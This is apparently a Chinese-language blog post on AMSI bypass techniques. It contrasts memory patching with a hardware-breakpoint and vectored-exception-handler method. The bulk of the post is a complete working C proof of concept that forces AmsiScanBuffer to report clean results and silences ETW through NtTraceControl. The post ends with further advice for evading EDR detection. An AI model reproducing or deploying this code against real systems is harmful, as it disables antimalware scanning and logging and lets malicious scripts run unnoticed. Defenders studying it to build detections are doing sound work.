AMSI对抗技术
AMSI对抗技术
1.背景
AMSI流程图
微软在 2015 年随 Windows 10 推出了 AMSI(Antimalware Scan Interface,反恶意软件扫描接口),为第三方安全产品提供了一个统一的扫描接口,用于检测无文件攻击和脚本类威胁。AMSI 的核心函数 `AmsiScanBuffer` 负责将内存中的内容提交给安全引擎进行扫描,攻击者自然不会坐视不管。从 AMSI 诞生的那一刻起,绕过它的技术就开始了演进.
2.AMSI Bypass
内存ptach的攻击流程
早也是最直接的做法——直接修改 AmsiScanBuffer 函数在内存中的代码:
// 传统 patch:把 AmsiScanBuffer 第一条指令改成 ret
// 原始字节:4C 8B DC (mov r11, rsp)
// 修改为: C3 (ret) → 函数什么都不做就返回了这种方法简单粗暴,但问题也很明显:
- 需要修改内存页权限:必须调用
VirtualProtect或NtProtectVirtualMemory将代码页改为可写(RWX),这个 API 调用本身就会被 EDR 监控 - 破坏内存完整性:EDR 会周期性地对比磁盘上
amsi.dll和内存中的代码段 hash,一旦发现不一致立刻报警 - 对应 MITRE ATT&CK T1562.001:这种"动手关安全组件"的行为属于"削弱防御:禁用或修改工具",是 EDR 最敏感的告警之一
3.新的思路
3.1 硬件断点
根据 Intel 64 和 IA-32 架构软件开发者手册,CPU 提供了 4 个调试地址寄存器(DR0-DR3),可以设置最多 4 个硬件断点。当 CPU 执行到断点地址时,会在该指令执行之前触发调试异常。DR7 寄存器用于控制这些断点的启用和类型。
需要注意的是,调试寄存器是特权资源,用户态进程无法通过 MOV DR0, RAX 这样的指令直接修改。要操作它们,必须通过 Windows 提供的 CONTEXT 结构体间接完成。
3.2 向量化异常处理(VEH)
Windows 提供了一种叫 VEH(Vectored Exception Handler)的机制——你可以注册一个回调函数,当程序发生异常时,系统会先调用你的函数来处理。
当硬件断点被触发时,CPU 抛出一个单步异常(EXCEPTION_SINGLE_STEP,异常码 0x80000004)。系统会把两样东西交给 VEH handler:一个是异常信息(哪个地址触发的),另一个是当前线程的 CPU 状态(CONTEXT 结构体,包含所有寄存器的值)。
关键在于——这个 CONTEXT 是可写的,你改了它,系统恢复执行时就会用你改过的值。比如把 RIP 指向别的地方、把 RAX 改成你想要的返回值。函数还没执行就被劫持了,而内存里的代码一个字节都没动过。
3.3 HWBP + VEH
要把这套技术跑起来,攻击者需要做两件事,第一,注册 VEH 处理单步异常。** 调用 AddVectoredExceptionHandler注册一个回调,专门处理 `EXCEPTION_SINGLE_STEP,断点命中后要做什么,全写在这个回调里。第二,想办法设置调试寄存器, 通过 CONTEXT 结构体间接修改:先获取线程的 CONTEXT,改掉里面的 Dr0/Dr7 字段,再写回去。写回的方式就是调用 SetThreadContext它底层走 `ntdll!NtSetContextThread` 这个 syscall,让内核帮你把 CONTEXT 应用到线程,在AmsiScanBuffer上设硬件断点,注册 VEH 拦截后直接跳过扫描,实现了不 patch 任何内存字节的 AMSI bypass。
demo
#include <windows.h>
#include <stdio.h>
#include <amsi.h>
#pragma comment(lib, "amsi.lib")
// NtContinue 函数指针类型(ntdll 未公开函数,需要手动声明)
typedef NTSTATUS(NTAPI* PFN_NtContinue)(PCONTEXT pContextRecord, BOOLEAN bTestAlert);
// 全局变量:保存两个目标函数的地址
PVOID g_pNtTraceControl = NULL; // ETW 核心函数
PVOID g_pAmsiScanBuffer = NULL; // AMSI 扫描函数
// ==================== VEH 异常处理回调 ====================
// 当硬件断点命中时,系统会调用这个函数
ULONG Handler(PEXCEPTION_POINTERS exception_ptr) {
// 只处理硬件断点触发的单步异常(0x80000004)
// 其他异常不管,交给系统默认处理
if (exception_ptr->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
return EXCEPTION_CONTINUE_SEARCH;
}
// 获取触发异常的地址和线程的 CPU 状态
PVOID ExceptionAddress = exception_ptr->ExceptionRecord->ExceptionAddress;
PCONTEXT context = exception_ptr->ContextRecord; // 这个结构体可读可写!
// ---------- ETW Bypass ----------
// 如果是 NtTraceControl 被命中,直接跳过整个函数
if (ExceptionAddress == g_pNtTraceControl) {
// Rsp 栈顶存的是调用者的返回地址
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
// 把 RIP 改成返回地址 = 跳过函数执行
context->Rip = returnAddress;
// 模拟 ret 指令:弹出返回地址(RSP + 8)
context->Rsp += 8;
// 恢复执行,ETW 事件不会被发送
return EXCEPTION_CONTINUE_EXECUTION;
}
// ---------- AMSI Bypass ----------
// 如果是 AmsiScanBuffer 被命中,伪造"干净"的扫描结果
else if (ExceptionAddress == g_pAmsiScanBuffer) {
// AmsiScanBuffer 的第 6 个参数是 AMSI_RESULT* 指针
// x64 调用约定:前 4 个参数在寄存器,第 5/6 个在栈上
// Rsp + 0 = 返回地址
// Rsp + 8 到 Rsp + 38 = shadow space
// Rsp + 40 = 第 5 个参数
// Rsp + 48 = 第 6 个参数(AMSI_RESULT*)
PULONG puAmsiResult = *(PULONG*)(context->Rsp + 48);
// 写入 AMSI_RESULT_CLEAN(0)= "没有恶意"
*puAmsiResult = AMSI_RESULT_CLEAN;
// 跳过整个 AmsiScanBuffer 函数
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
context->Rip = returnAddress;
context->Rsp += 8;
// RAX = 函数返回值,设为 S_OK(0)= "执行成功"
context->Rax = S_OK;
// 恢复执行,调用者看到的是"扫描完了,结果干净"
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// ==================== 主函数 ====================
int main(int argc, char* argv[]) {
HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); // ntdll 每个进程都自动加载
HMODULE hAmsiDll = NULL;
// ===== 第 1 步:注册 VEH =====
// 参数 1 = 插到 VEH 链表最前面,优先级最高
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
// ===== 第 2 步:获取当前线程的调试寄存器状态 =====
CONTEXT contextThread = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(GetCurrentThread(), &contextThread);
// 清零,从干净状态开始
contextThread.Dr0 = 0;
contextThread.Dr1 = 0;
contextThread.Dr7 = 0;
// ===== 第 3 步:设置 ETW 断点(Dr0) =====
g_pNtTraceControl = GetProcAddress(hNtDll, "NtTraceControl");
contextThread.Dr0 = (ULONG_PTR)g_pNtTraceControl; // Dr0 = 目标地址
contextThread.Dr7 |= 0x1; // bit 0 = 启用 Dr0
// ===== 第 4 步:设置 AMSI 断点(Dr1) =====
hAmsiDll = LoadLibraryA("amsi.dll"); // 加载 amsi.dll(可能尚未加载)
g_pAmsiScanBuffer = GetProcAddress(hAmsiDll, "AmsiScanBuffer");
contextThread.Dr1 = (ULONG_PTR)g_pAmsiScanBuffer; // Dr1 = 目标地址
contextThread.Dr7 |= 0x4; // bit 2 = 启用 Dr1
// ===== 第 5 步:NtContinue 立即激活断点 =====
// NtContinue 直接把修改后的 CONTEXT 应用到 CPU
// 调用完的瞬间,Dr0/Dr1/Dr7 生效,CPU 开始监视这两个地址
// 比 SetThreadContext 更底层:无需挂起线程,立即生效
PFN_NtContinue pfnNtContinue = (PFN_NtContinue)GetProcAddress(hNtDll, "NtContinue");
pfnNtContinue(&contextThread, FALSE);
// ===== 第 6 步:验证 bypass =====
HAMSICONTEXT hAmsiContext;
AMSI_RESULT amsiResult;
if (SUCCEEDED(AmsiInitialize(L"TestApp", &hAmsiContext))) {
LPCSTR szEicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
HRESULT hr = AmsiScanBuffer(hAmsiContext, (PVOID)szEicar, (ULONG)strlen(szEicar), L"Test", NULL, &amsiResult);
if (SUCCEEDED(hr)) {
printf("[+] AMSI result: 0x%08X\n", (DWORD)amsiResult);
}
AmsiUninitialize(hAmsiContext);
}
FreeLibrary(hAmsiDll);
return 0;
}如图注册VEH,获取线程上下文Dr0 Dr1 Dr7 位0说明无断电
解析函数AmsiSscanbuffer位于0x00007FFFB82F8160hwbp点将Dr1只想Dr7设置0x4
当AmsiScanbuffer被调用时候Veh接管拦截,Modified RIP = 调用者的返回地址(0x00007FF747FA16A2)→ 跳过了整个函数实现bypass.
总结
本文分析了 新的AMSI Bypass 技术的完整攻击链:利用 CPU 硬件断点(Dr0-Dr3)在 AmsiScanBuffer 入口设置监视点,配合 VEH 异常回调在函数执行前劫持线程上下文,通过修改 RIP 跳过函数、伪造 RAX 返回值和 AMSI_RESULT 参数,实现零内存修改的 AMSI 绕过,与传统内存 patch 相比,该技术不触发内存完整性告警、不修改代码页权限、不留下磁盘 vs 内存的 hash 差异。整个过程使用的都是 Windows 和 CPU 的合法机制(硬件调试寄存器、VEH、CONTEXT 结构体),这正是其难以检测的根本原因。
改进研究点
用 VEH² 替掉 NtContinue当前这个 PoC 用 GetThreadContext + NtContinue 来设断点,但内核会把这个调用记到 ETW 日志里,防守方订阅一下就能看到。换成 VEH² 的方式先 DebugBreak() 触发一个异常,在异常回调里直接改 CONTEXT 的 Dr0/Dr7,不调用任何 API,内核日志里就什么都没有。
用完断点立刻清掉现在的代码 bypass 完之后 Dr1 和 Dr7 还是非零的,EDR 随时扫一下线程就能看到"你在 amsi.dll 上挂了个断点"。在 handler 里处理完之后顺手把 Dr1/Dr7 清零,这样 EDR 再查的时候什么都看不到。
手动注册 VEH,别用 APIAddVectoredExceptionHandler 这个 API 很多 EDR 都 hook 了,你一调就被发现了。更隐蔽的做法是直接找到 ntdll 内部的 LdrpVectorHandlerList 链表,自己构造一个节点插进去。不走 API,hook 也抓不到。